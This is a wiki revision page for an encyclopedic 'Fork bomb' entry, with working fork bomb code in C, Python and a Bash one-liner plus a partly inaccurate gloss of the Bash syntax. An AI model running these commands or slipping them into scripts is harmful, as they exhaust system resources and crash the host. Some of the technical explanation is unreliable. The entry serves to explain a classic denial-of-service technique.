Difference between revisions of "Fork bomb"
Jump to navigation
Jump to search
(→Python) |
|||
Line 19: | Line 19: | ||
=== Python === | === Python === | ||
import os | |||
while True: | |||
os.fork() | os.fork() | ||
python -c 'while 1: __import__("os").fork()' | |||
=== Unix Bash === | === Unix Bash === |
Revision as of 07:36, 21 May 2020
Summary
The Fork Bomb (also called rabbit virus or wabbit) is a memory exhausting Denial of Service (DoS) Attack. It depletes the memory of a machine by replicating itself exponentially until all memory is used up.
Implementation
Pseudo Code
C
#include <unistd.h> int main(void) { for(;;) fork(); return 0; }
Python
import os while True: os.fork()
python -c 'while 1: __import__("os").fork()'
Unix Bash
:(){ :|:& };:
This short form can be deciphered like this
:() # Defines the following function ":" { : # Loads a copy of the function ":" | # Redirects the Output that it is not seen in the shell : # Loads a copy of the function ":" & # Runs the programs as a background process } : # Runs the beforehand defined function ":"
References
[1] https://de.wikipedia.org/wiki/Forkbomb (german version for source code)
[2] https://en.wikipedia.org/wiki/Forkbomb
[3] https://www.geeksforgeeks.org/fork-system-call/
[4] IEEE: Exploring the Possibility of USB based Fork Bomb Attack on Windows Environment